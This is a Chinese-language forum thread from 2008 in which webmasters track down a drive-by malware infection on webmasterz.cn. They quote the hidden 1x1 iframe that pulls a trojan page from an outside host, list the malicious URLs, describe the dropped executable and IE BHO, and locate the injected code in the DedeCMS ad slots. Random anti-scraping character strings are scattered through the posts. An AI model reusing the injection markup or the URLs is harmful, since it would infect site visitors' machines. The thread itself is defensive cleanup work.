webmasterz.cn上的掛馬掛在哪了 我怎麼查了半天查不到？

請老大仔細的查查吧，剛又發現了幾個，全是免殺的~~一個勁的往外蹦，但是我的卡卡即不報~~
http://ppp.749571.com/dm/test.htm
http://www.985676.cn/encrypt/mm.htm
/ y6 S! W* o) n6 y這兩個是免殺的，還有幾個沒記下來，
) I8 I, T# h* I! I這掛馬的兔崽子有一手，隱藏的很好啊~~一般人都看不出來~

會在C盤下產生 CRESS1.EXE
5 Y* R3 v" _; ]! n, Y然後增加IE的BHO的木馬 還釋放驅動

昏 他藏得好隱秘  找到了 放毒得地方了

; z5 y: Y( V. W5 ]3 G$ Jiframe src=h t t p://w w w.9856 76.cn/encrypt/mm.htm width=1 height=1></iframe>
1 t0 v6 E! z8 o. ]( z8 @& j9 i然後再這個地址轉到ppp.749571.co m/dm/test.htm
為了跟蹤這個病毒 自己失誤的。。。。哎。修復中ing。。。。
靜水趕快清理了吧

原帖由 20082008 於 2008-1-9 16:33 發表
2 A: B! R; _1 g  _沒裝REAL就沒事，好在我重新裝的系統:

說的沒錯

原帖由 freelzyr 於 2008-1-10 16:47 發表
進dede後台
檢查 ad_js.php?aid=1  
ad_js.php?aid=2
, M3 t9 K. z+ R: S9 q$ Zad_js.php?aid=3
! U2 r) j! E+ b0 Yad_js.php?aid=4

6 U: z% b9 N2 {這幾個廣告 裡面的代碼
' p( E  f1 ~. Q4 a在這幾個 掉茅廁位 裡面   含有 木馬的 代碼

  c3 \# |8 K. s  T0 Y這個檢查了沒有的

原帖由 靜水流深 於 2008-1-11 02:27 發表
1 s/ J% x/ t' D- F1 ]
1 d8 J) b1 G* h+ Y5 {
5 j: ^4 z' R2 t3 L這個檢查了沒有的

" q) x' u) I' o& l5 x; D* v! _

1 }: c2 c7 M5 Z  p% P9 U我看過了，有掛馬的代碼，代碼已經在你的另一個貼子裡貼出來了

原帖由 靜水流深 於 2008-1-11 02:27 發表

3 @1 Z6 L; r1 ~4 G! |3 D( W
這個檢查了沒有的

, \  ~3 H7 `! t$ v6 m( x( K  I7 G木馬就是在這裡裡啊
7 g4 W2 `! t3 ]; U' i, q' U在後台的掉茅廁位設置那
+ |/ Y& ]: v1 H  N, I' s裡

現在明瞭.
) u# I2 U  Z: l; f: Q7 Y' f有人收流量做ppp.749571.co m的..
- F, q+ k1 _$ y最近被掛馬的話. 都改成js了. 不用iframe了

菜鳥,怕怕,不敢看,啥時好了說一聲,我再去看風景